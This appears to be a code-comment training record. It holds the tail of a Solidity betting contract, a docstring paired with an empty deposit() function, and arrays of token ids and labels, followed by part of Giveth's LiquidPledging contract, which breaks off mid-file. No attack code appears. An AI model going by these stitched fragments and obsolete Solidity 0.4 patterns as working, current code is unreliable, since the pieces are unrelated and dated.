uint256 amount = (betAmount_ - 1).add(initAmount_);
// the balance available
uint256 balance = address(this).balance.sub(amount).sub(remain);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
/**
* @dev get player bet value
*/
function getPlayerBetValue(address addr) view public returns(uint256) {
return bets_[addr].cycleCount == cycleCount_ ? bets_[addr].amount : 0;
}
/**
* @dev get player informations at once
*/
function getPlayerInfos(address addr) view public returns(uint256[7], uint256[5]) {
uint256[7] memory betValues = [
cycleCount_,
nextOpenRewardTime_,
initAmount_,
betAmount_ - 1,
betAddrsCount_ - 1,
betCount_ - 1,
getPlayerBetValue(addr)
];
uint256[5] memory referrerValues = [
nextReferrerId_,
referrers_[addr].id,
referrers_[addr].bindReferrerId,
referrers_[addr].bindCycleCount,
referrers_[addr].beBindCount
];
return (betValues, referrerValues);
}
} | * @dev deposit In extreme cases, the remaining amount may not be able to pay the callback charges, everyone can reactivate/ | function deposit() public payable {
}
| 1,842,034 | [
1,
323,
1724,
657,
23755,
73,
6088,
16,
326,
4463,
3844,
2026,
486,
506,
7752,
358,
8843,
326,
1348,
1149,
2852,
16,
3614,
476,
848,
283,
10014,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
443,
1724,
1435,
1071,
8843,
429,
288,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x3f45d2d5feb6b4b000d2d3b84442eeddf54a735a
//Contract name: LiquidPledging
//Balance: 0 Ether
//Verification Date: 12/20/2017
//Transacion Count: 9
// CODE STARTS HERE
//File: contracts/ILiquidPledgingPlugin.sol
pragma solidity ^0.4.11;
/*
Copyright 2017, Jordi Baylina
Contributors: Adrià Massanet <[email protected]>, RJ Ewing, Griff
Green, Arthur Lunn
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// @dev `ILiquidPledgingPlugin` is the basic interface for any
/// liquid pledging plugin
contract ILiquidPledgingPlugin {
/// @notice Plugins are used (much like web hooks) to initiate an action
/// upon any donation, delegation, or transfer; this is an optional feature
/// and allows for extreme customization of the contract. This function
/// implements any action that should be initiated before a transfer.
/// @param pledgeManager The admin or current manager of the pledge
/// @param pledgeFrom This is the Id from which value will be transfered.
/// @param pledgeTo This is the Id that value will be transfered to.
/// @param context The situation that is triggering the plugin:
/// 0 -> Plugin for the owner transferring pledge to another party
/// 1 -> Plugin for the first delegate transferring pledge to another party
/// 2 -> Plugin for the second delegate transferring pledge to another party
/// ...
/// 255 -> Plugin for the intendedProject transferring pledge to another party
///
/// 256 -> Plugin for the owner receiving pledge to another party
/// 257 -> Plugin for the first delegate receiving pledge to another party
/// 258 -> Plugin for the second delegate receiving pledge to another party
/// ...
/// 511 -> Plugin for the intendedProject receiving pledge to another party
/// @param amount The amount of value that will be transfered.
function beforeTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount ) returns (uint maxAllowed);
/// @notice Plugins are used (much like web hooks) to initiate an action
/// upon any donation, delegation, or transfer; this is an optional feature
/// and allows for extreme customization of the contract. This function
/// implements any action that should be initiated after a transfer.
/// @param pledgeManager The admin or current manager of the pledge
/// @param pledgeFrom This is the Id from which value will be transfered.
/// @param pledgeTo This is the Id that value will be transfered to.
/// @param context The situation that is triggering the plugin:
/// 0 -> Plugin for the owner transferring pledge to another party
/// 1 -> Plugin for the first delegate transferring pledge to another party
/// 2 -> Plugin for the second delegate transferring pledge to another party
/// ...
/// 255 -> Plugin for the intendedProject transferring pledge to another party
///
/// 256 -> Plugin for the owner receiving pledge to another party
/// 257 -> Plugin for the first delegate receiving pledge to another party
/// 258 -> Plugin for the second delegate receiving pledge to another party
/// ...
/// 511 -> Plugin for the intendedProject receiving pledge to another party
/// @param amount The amount of value that will be transfered.
function afterTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount
);
}
//File: node_modules/giveth-common-contracts/contracts/Owned.sol
pragma solidity ^0.4.15;
/// @title Owned
/// @author Adrià Massanet <[email protected]>
/// @notice The Owned contract has an owner address, and provides basic
/// authorization control functions, this simplifies & the implementation of
/// user permissions; this contract has three work flows for a change in
/// ownership, the first requires the new owner to validate that they have the
/// ability to accept ownership, the second allows the ownership to be
/// directly transfered without requiring acceptance, and the third allows for
/// the ownership to be removed to allow for decentralization
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
/// @dev The constructor sets the `msg.sender` as the`owner` of the contract
function Owned() public {
owner = msg.sender;
}
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
/// @dev In this 1st option for ownership transfer `proposeOwnership()` must
/// be called first by the current `owner` then `acceptOwnership()` must be
/// called by the `newOwnerCandidate`
/// @notice `onlyOwner` Proposes to transfer control of the contract to a
/// new owner
/// @param _newOwnerCandidate The address being proposed as the new owner
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
/// @notice Can only be called by the `newOwnerCandidate`, accepts the
/// transfer of ownership
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 2nd option for ownership transfer `changeOwnership()` can
/// be called and it will immediately assign ownership to the `newOwner`
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 3rd option for ownership transfer `removeOwnership()` can
/// be called and it will immediately assign ownership to the 0x0 address;
/// it requires a 0xdece be input as a parameter to prevent accidental use
/// @notice Decentralizes the contract, this operation cannot be undone
/// @param _dac `0xdac` has to be entered for this function to work
function removeOwnership(address _dac) public onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
//File: node_modules/giveth-common-contracts/contracts/ERC20.sol
pragma solidity ^0.4.15;
/**
* @title ERC20
* @dev A standard interface for tokens.
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20 {
/// @dev Returns the total token supply
function totalSupply() public constant returns (uint256 supply);
/// @dev Returns the account balance of the account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
/// @dev Transfers _value number of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
/// @dev Transfers _value number of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount
function approve(address _spender, uint256 _value) public returns (bool success);
/// @dev Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
//File: node_modules/giveth-common-contracts/contracts/Escapable.sol
pragma solidity ^0.4.15;
/*
Copyright 2016, Jordi Baylina
Contributor: Adrià Massanet <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// @dev `Escapable` is a base level contract built off of the `Owned`
/// contract; it creates an escape hatch function that can be called in an
/// emergency that will allow designated addresses to send any ether or tokens
/// held in the contract to an `escapeHatchDestination` as long as they were
/// not blacklisted
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist; // Token contract addresses
/// @notice The Constructor assigns the `escapeHatchDestination` and the
/// `escapeHatchCaller`
/// @param _escapeHatchCaller The address of a trusted account or contract
/// to call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
/// @param _escapeHatchDestination The address of a safe location (usu a
/// Multisig) to send the ether held in this contract; if a neutral address
/// is required, the WHG Multisig is an option:
/// 0x8Ff920020c8AD673661c8117f2855C384758C572
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
/// @dev The addresses preassigned as `escapeHatchCaller` or `owner`
/// are the only addresses that can call a function with this modifier
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
/// @notice Creates the blacklist of tokens that are not able to be taken
/// out of the contract; can only be done at the deployment, and the logic
/// to add to the blacklist will be in the constructor of a child contract
/// @param _token the token contract address that is to be blacklisted
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
/// @notice Checks to see if `_token` is in the blacklist of tokens
/// @param _token the token address being queried
/// @return False if `_token` is in the blacklist and can't be taken out of
/// the contract via the `escapeHatch()`
function isTokenEscapable(address _token) constant public returns (bool) {
return !escapeBlacklist[_token];
}
/// @notice The `escapeHatch()` should only be called as a last resort if a
/// security issue is uncovered or something unexpected happened
/// @param _token to transfer, use 0x0 for ether
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
/// @dev Logic for ether
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
/// @dev Logic for tokens
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
require(token.transfer(escapeHatchDestination, balance));
EscapeHatchCalled(_token, balance);
}
/// @notice Changes the address assigned to call `escapeHatch()`
/// @param _newEscapeHatchCaller The address of a trusted account or
/// contract to call `escapeHatch()` to send the value in this contract to
/// the `escapeHatchDestination`; it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
//File: contracts/LiquidPledgingBase.sol
pragma solidity ^0.4.11;
/*
Copyright 2017, Jordi Baylina
Contributors: Adrià Massanet <[email protected]>, RJ Ewing, Griff
Green, Arthur Lunn
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/// @dev This is an interface for `LPVault` which serves as a secure storage for
/// the ETH that backs the Pledges, only after `LiquidPledging` authorizes
/// payments can Pledges be converted for ETH
interface LPVault {
function authorizePayment(bytes32 _ref, address _dest, uint _amount);
function () payable;
}
/// @dev `LiquidPledgingBase` is the base level contract used to carry out
/// liquidPledging's most basic functions, mostly handling and searching the
/// data structures
contract LiquidPledgingBase is Escapable {
// Limits inserted to prevent large loops that could prevent canceling
uint constant MAX_DELEGATES = 10;
uint constant MAX_SUBPROJECT_LEVEL = 20;
uint constant MAX_INTERPROJECT_LEVEL = 20;
enum PledgeAdminType { Giver, Delegate, Project }
enum PledgeState { Pledged, Paying, Paid }
/// @dev This struct defines the details of a `PledgeAdmin` which are
/// commonly referenced by their index in the `admins` array
/// and can own pledges and act as delegates
struct PledgeAdmin {
PledgeAdminType adminType; // Giver, Delegate or Project
address addr; // Account or contract address for admin
string name;
string url; // Can be IPFS hash
uint64 commitTime; // In seconds, used for Givers' & Delegates' vetos
uint64 parentProject; // Only for projects
bool canceled; //Always false except for canceled projects
/// @dev if the plugin is 0x0 then nothing happens, if its an address
// than that smart contract is called when appropriate
ILiquidPledgingPlugin plugin;
}
struct Pledge {
uint amount;
uint64 owner; // PledgeAdmin
uint64[] delegationChain; // List of delegates in order of authority
uint64 intendedProject; // Used when delegates are sending to projects
uint64 commitTime; // When the intendedProject will become the owner
uint64 oldPledge; // Points to the id that this Pledge was derived from
PledgeState pledgeState; // Pledged, Paying, Paid
}
Pledge[] pledges;
PledgeAdmin[] admins; //The list of pledgeAdmins 0 means there is no admin
LPVault public vault;
/// @dev this mapping allows you to search for a specific pledge's
/// index number by the hash of that pledge
mapping (bytes32 => uint64) hPledge2idx;
mapping (bytes32 => bool) pluginWhitelist;
bool public usePluginWhitelist = true;
/////////////
// Modifiers
/////////////
/// @dev The `vault`is the only addresses that can call a function with this
/// modifier
modifier onlyVault() {
require(msg.sender == address(vault));
_;
}
///////////////
// Constructor
///////////////
/// @notice The Constructor creates `LiquidPledgingBase` on the blockchain
/// @param _vault The vault where the ETH backing the pledges is stored
function LiquidPledgingBase(
address _vault,
address _escapeHatchCaller,
address _escapeHatchDestination
) Escapable(_escapeHatchCaller, _escapeHatchDestination) public {
admins.length = 1; // we reserve the 0 admin
pledges.length = 1; // we reserve the 0 pledge
vault = LPVault(_vault); // Assigns the specified vault
}
/////////////////////////
// PledgeAdmin functions
/////////////////////////
/// @notice Creates a Giver Admin with the `msg.sender` as the Admin address
/// @param name The name used to identify the Giver
/// @param url The link to the Giver's profile often an IPFS hash
/// @param commitTime The length of time in seconds the Giver has to
/// veto when the Giver's delegates Pledge funds to a project
/// @param plugin This is Giver's liquid pledge plugin allowing for
/// extended functionality
/// @return idGiver The id number used to reference this Admin
function addGiver(
string name,
string url,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idGiver) {
require(isValidPlugin(plugin)); // Plugin check
idGiver = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Giver,
msg.sender,
name,
url,
commitTime,
0,
false,
plugin));
GiverAdded(idGiver);
}
event GiverAdded(uint64 indexed idGiver);
/// @notice Updates a Giver's info to change the address, name, url, or
/// commitTime, it cannot be used to change a plugin, and it must be called
/// by the current address of the Giver
/// @param idGiver This is the Admin id number used to specify the Giver
/// @param newAddr The new address that represents this Giver
/// @param newName The new name used to identify the Giver
/// @param newUrl The new link to the Giver's profile often an IPFS hash
/// @param newCommitTime Sets the length of time in seconds the Giver has to
/// veto when the Giver's delegates Pledge funds to a project
function updateGiver(
uint64 idGiver,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime)
{
PledgeAdmin storage giver = findAdmin(idGiver);
require(giver.adminType == PledgeAdminType.Giver); // Must be a Giver
require(giver.addr == msg.sender); // Current addr had to send this tx
giver.addr = newAddr;
giver.name = newName;
giver.url = newUrl;
giver.commitTime = newCommitTime;
GiverUpdated(idGiver);
}
event GiverUpdated(uint64 indexed idGiver);
/// @notice Creates a Delegate Admin with the `msg.sender` as the Admin addr
/// @param name The name used to identify the Delegate
/// @param url The link to the Delegate's profile often an IPFS hash
/// @param commitTime Sets the length of time in seconds that this delegate
/// can be vetoed. Whenever this delegate is in a delegate chain the time
/// allowed to veto any event must be greater than or equal to this time.
/// @param plugin This is Delegate's liquid pledge plugin allowing for
/// extended functionality
/// @return idxDelegate The id number used to reference this Delegate within
/// the admins array
function addDelegate(
string name,
string url,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idDelegate) {
require(isValidPlugin(plugin)); // Plugin check
idDelegate = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Delegate,
msg.sender,
name,
url,
commitTime,
0,
false,
plugin));
DelegateAdded(idDelegate);
}
event DelegateAdded(uint64 indexed idDelegate);
/// @notice Updates a Delegate's info to change the address, name, url, or
/// commitTime, it cannot be used to change a plugin, and it must be called
/// by the current address of the Delegate
/// @param idDelegate The Admin id number used to specify the Delegate
/// @param newAddr The new address that represents this Delegate
/// @param newName The new name used to identify the Delegate
/// @param newUrl The new link to the Delegate's profile often an IPFS hash
/// @param newCommitTime Sets the length of time in seconds that this
/// delegate can be vetoed. Whenever this delegate is in a delegate chain
/// the time allowed to veto any event must be greater than or equal to
/// this time.
function updateDelegate(
uint64 idDelegate,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime) {
PledgeAdmin storage delegate = findAdmin(idDelegate);
require(delegate.adminType == PledgeAdminType.Delegate);
require(delegate.addr == msg.sender);// Current addr had to send this tx
delegate.addr = newAddr;
delegate.name = newName;
delegate.url = newUrl;
delegate.commitTime = newCommitTime;
DelegateUpdated(idDelegate);
}
event DelegateUpdated(uint64 indexed idDelegate);
/// @notice Creates a Project Admin with the `msg.sender` as the Admin addr
/// @param name The name used to identify the Project
/// @param url The link to the Project's profile often an IPFS hash
/// @param projectAdmin The address for the trusted project manager
/// @param parentProject The Admin id number for the parent project or 0 if
/// there is no parentProject
/// @param commitTime Sets the length of time in seconds the Project has to
/// veto when the Project delegates to another Delegate and they pledge
/// those funds to a project
/// @param plugin This is Project's liquid pledge plugin allowing for
/// extended functionality
/// @return idProject The id number used to reference this Admin
function addProject(
string name,
string url,
address projectAdmin,
uint64 parentProject,
uint64 commitTime,
ILiquidPledgingPlugin plugin
) returns (uint64 idProject) {
require(isValidPlugin(plugin));
if (parentProject != 0) {
PledgeAdmin storage pa = findAdmin(parentProject);
require(pa.adminType == PledgeAdminType.Project);
require(getProjectLevel(pa) < MAX_SUBPROJECT_LEVEL);
}
idProject = uint64(admins.length);
admins.push(PledgeAdmin(
PledgeAdminType.Project,
projectAdmin,
name,
url,
commitTime,
parentProject,
false,
plugin));
ProjectAdded(idProject);
}
event ProjectAdded(uint64 indexed idProject);
/// @notice Updates a Project's info to change the address, name, url, or
/// commitTime, it cannot be used to change a plugin or a parentProject,
/// and it must be called by the current address of the Project
/// @param idProject The Admin id number used to specify the Project
/// @param newAddr The new address that represents this Project
/// @param newName The new name used to identify the Project
/// @param newUrl The new link to the Project's profile often an IPFS hash
/// @param newCommitTime Sets the length of time in seconds the Project has
/// to veto when the Project delegates to a Delegate and they pledge those
/// funds to a project
function updateProject(
uint64 idProject,
address newAddr,
string newName,
string newUrl,
uint64 newCommitTime)
{
PledgeAdmin storage project = findAdmin(idProject);
require(project.adminType == PledgeAdminType.Project);
require(project.addr == msg.sender);
project.addr = newAddr;
project.name = newName;
project.url = newUrl;
project.commitTime = newCommitTime;
ProjectUpdated(idProject);
}
event ProjectUpdated(uint64 indexed idAdmin);
//////////
// Public constant functions
//////////
/// @notice A constant getter that returns the total number of pledges
/// @return The total number of Pledges in the system
function numberOfPledges() constant returns (uint) {
return pledges.length - 1;
}
/// @notice A getter that returns the details of the specified pledge
/// @param idPledge the id number of the pledge being queried
/// @return the amount, owner, the number of delegates (but not the actual
/// delegates, the intendedProject (if any), the current commit time and
/// the previous pledge this pledge was derived from
function getPledge(uint64 idPledge) constant returns(
uint amount,
uint64 owner,
uint64 nDelegates,
uint64 intendedProject,
uint64 commitTime,
uint64 oldPledge,
PledgeState pledgeState
) {
Pledge storage p = findPledge(idPledge);
amount = p.amount;
owner = p.owner;
nDelegates = uint64(p.delegationChain.length);
intendedProject = p.intendedProject;
commitTime = p.commitTime;
oldPledge = p.oldPledge;
pledgeState = p.pledgeState;
}
/// @notice Getter to find Delegate w/ the Pledge ID & the Delegate index
/// @param idPledge The id number representing the pledge being queried
/// @param idxDelegate The index number for the delegate in this Pledge
function getPledgeDelegate(uint64 idPledge, uint idxDelegate) constant returns(
uint64 idDelegate,
address addr,
string name
) {
Pledge storage p = findPledge(idPledge);
idDelegate = p.delegationChain[idxDelegate - 1];
PledgeAdmin storage delegate = findAdmin(idDelegate);
addr = delegate.addr;
name = delegate.name;
}
/// @notice A constant getter used to check how many total Admins exist
/// @return The total number of admins (Givers, Delegates and Projects) .
function numberOfPledgeAdmins() constant returns(uint) {
return admins.length - 1;
}
/// @notice A constant getter to check the details of a specified Admin
/// @return addr Account or contract address for admin
/// @return name Name of the pledgeAdmin
/// @return url The link to the Project's profile often an IPFS hash
/// @return commitTime The length of time in seconds the Admin has to veto
/// when the Admin delegates to a Delegate and that Delegate pledges those
/// funds to a project
/// @return parentProject The Admin id number for the parent project or 0
/// if there is no parentProject
/// @return canceled 0 for Delegates & Givers, true if a Project has been
/// canceled
/// @return plugin This is Project's liquidPledging plugin allowing for
/// extended functionality
function getPledgeAdmin(uint64 idAdmin) constant returns (
PledgeAdminType adminType,
address addr,
string name,
string url,
uint64 commitTime,
uint64 parentProject,
bool canceled,
address plugin)
{
PledgeAdmin storage m = findAdmin(idAdmin);
adminType = m.adminType;
addr = m.addr;
name = m.name;
url = m.url;
commitTime = m.commitTime;
parentProject = m.parentProject;
canceled = m.canceled;
plugin = address(m.plugin);
}
////////
// Private methods
///////
/// @notice This creates a Pledge with an initial amount of 0 if one is not
/// created already; otherwise it finds the pledge with the specified
/// attributes; all pledges technically exist, if the pledge hasn't been
/// created in this system yet it simply isn't in the hash array
/// hPledge2idx[] yet
/// @param owner The owner of the pledge being looked up
/// @param delegationChain The list of delegates in order of authority
/// @param intendedProject The project this pledge will Fund after the
/// commitTime has passed
/// @param commitTime The length of time in seconds the Giver has to
/// veto when the Giver's delegates Pledge funds to a project
/// @param oldPledge This value is used to store the pledge the current
/// pledge was came from, and in the case a Project is canceled, the Pledge
/// will revert back to it's previous state
/// @param state The pledge state: Pledged, Paying, or state
/// @return The hPledge2idx index number
function findOrCreatePledge(
uint64 owner,
uint64[] delegationChain,
uint64 intendedProject,
uint64 commitTime,
uint64 oldPledge,
PledgeState state
) internal returns (uint64)
{
bytes32 hPledge = sha3(
owner, delegationChain, intendedProject, commitTime, oldPledge, state);
uint64 idx = hPledge2idx[hPledge];
if (idx > 0) return idx;
idx = uint64(pledges.length);
hPledge2idx[hPledge] = idx;
pledges.push(Pledge(
0, owner, delegationChain, intendedProject, commitTime, oldPledge, state));
return idx;
}
/// @notice A getter to look up a Admin's details
/// @param idAdmin The id for the Admin to lookup
/// @return The PledgeAdmin struct for the specified Admin
function findAdmin(uint64 idAdmin) internal returns (PledgeAdmin storage) {
require(idAdmin < admins.length);
return admins[idAdmin];
}
/// @notice A getter to look up a Pledge's details
/// @param idPledge The id for the Pledge to lookup
/// @return The PledgeA struct for the specified Pledge
function findPledge(uint64 idPledge) internal returns (Pledge storage) {
require(idPledge < pledges.length);
return pledges[idPledge];
}
// a constant for when a delegate is requested that is not in the system
uint64 constant NOTFOUND = 0xFFFFFFFFFFFFFFFF;
/// @notice A getter that searches the delegationChain for the level of
/// authority a specific delegate has within a Pledge
/// @param p The Pledge that will be searched
/// @param idDelegate The specified delegate that's searched for
/// @return If the delegate chain contains the delegate with the
/// `admins` array index `idDelegate` this returns that delegates
/// corresponding index in the delegationChain. Otherwise it returns
/// the NOTFOUND constant
function getDelegateIdx(Pledge p, uint64 idDelegate) internal returns(uint64) {
for (uint i=0; i < p.delegationChain.length; i++) {
if (p.delegationChain[i] == idDelegate) return uint64(i);
}
return NOTFOUND;
}
/// @notice A getter to find how many old "parent" pledges a specific Pledge
/// had using a self-referential loop
/// @param p The Pledge being queried
/// @return The number of old "parent" pledges a specific Pledge had
function getPledgeLevel(Pledge p) internal returns(uint) {
if (p.oldPledge == 0) return 0;
Pledge storage oldN = findPledge(p.oldPledge);
return getPledgeLevel(oldN) + 1; // a loop lookup
}
/// @notice A getter to find the longest commitTime out of the owner and all
/// the delegates for a specified pledge
/// @param p The Pledge being queried
/// @return The maximum commitTime out of the owner and all the delegates
function maxCommitTime(Pledge p) internal returns(uint commitTime) {
PledgeAdmin storage m = findAdmin(p.owner);
commitTime = m.commitTime; // start with the owner's commitTime
for (uint i=0; i<p.delegationChain.length; i++) {
m = findAdmin(p.delegationChain[i]);
// If a delegate's commitTime is longer, make it the new commitTime
if (m.commitTime > commitTime) commitTime = m.commitTime;
}
}
/// @notice A getter to find the level of authority a specific Project has
/// using a self-referential loop
/// @param m The Project being queried
/// @return The level of authority a specific Project has
function getProjectLevel(PledgeAdmin m) internal returns(uint) {
assert(m.adminType == PledgeAdminType.Project);
if (m.parentProject == 0) return(1);
PledgeAdmin storage parentNM = findAdmin(m.parentProject);
return getProjectLevel(parentNM) + 1;
}
/// @notice A getter to find if a specified Project has been canceled
/// @param projectId The Admin id number used to specify the Project
/// @return True if the Project has been canceled
function isProjectCanceled(uint64 projectId) constant returns (bool) {
PledgeAdmin storage m = findAdmin(projectId);
if (m.adminType == PledgeAdminType.Giver) return false;
assert(m.adminType == PledgeAdminType.Project);
if (m.canceled) return true;
if (m.parentProject == 0) return false;
return isProjectCanceled(m.parentProject);
}
/// @notice A getter to find the oldest pledge that hasn't been canceled
/// @param idPledge The starting place to lookup the pledges
/// @return The oldest idPledge that hasn't been canceled (DUH!)
function getOldestPledgeNotCanceled(uint64 idPledge
) internal constant returns(uint64) {
if (idPledge == 0) return 0;
Pledge storage p = findPledge(idPledge);
PledgeAdmin storage admin = findAdmin(p.owner);
if (admin.adminType == PledgeAdminType.Giver) return idPledge;
assert(admin.adminType == PledgeAdminType.Project);
if (!isProjectCanceled(p.owner)) return idPledge;
return getOldestPledgeNotCanceled(p.oldPledge);
}
/// @notice A check to see if the msg.sender is the owner or the
/// plugin contract for a specific Admin
/// @param m The Admin being checked
function checkAdminOwner(PledgeAdmin m) internal constant {
require((msg.sender == m.addr) || (msg.sender == address(m.plugin)));
}
///////////////////////////
// Plugin Whitelist Methods
///////////////////////////
function addValidPlugin(bytes32 contractHash) external onlyOwner {
pluginWhitelist[contractHash] = true;
}
function removeValidPlugin(bytes32 contractHash) external onlyOwner {
pluginWhitelist[contractHash] = false;
}
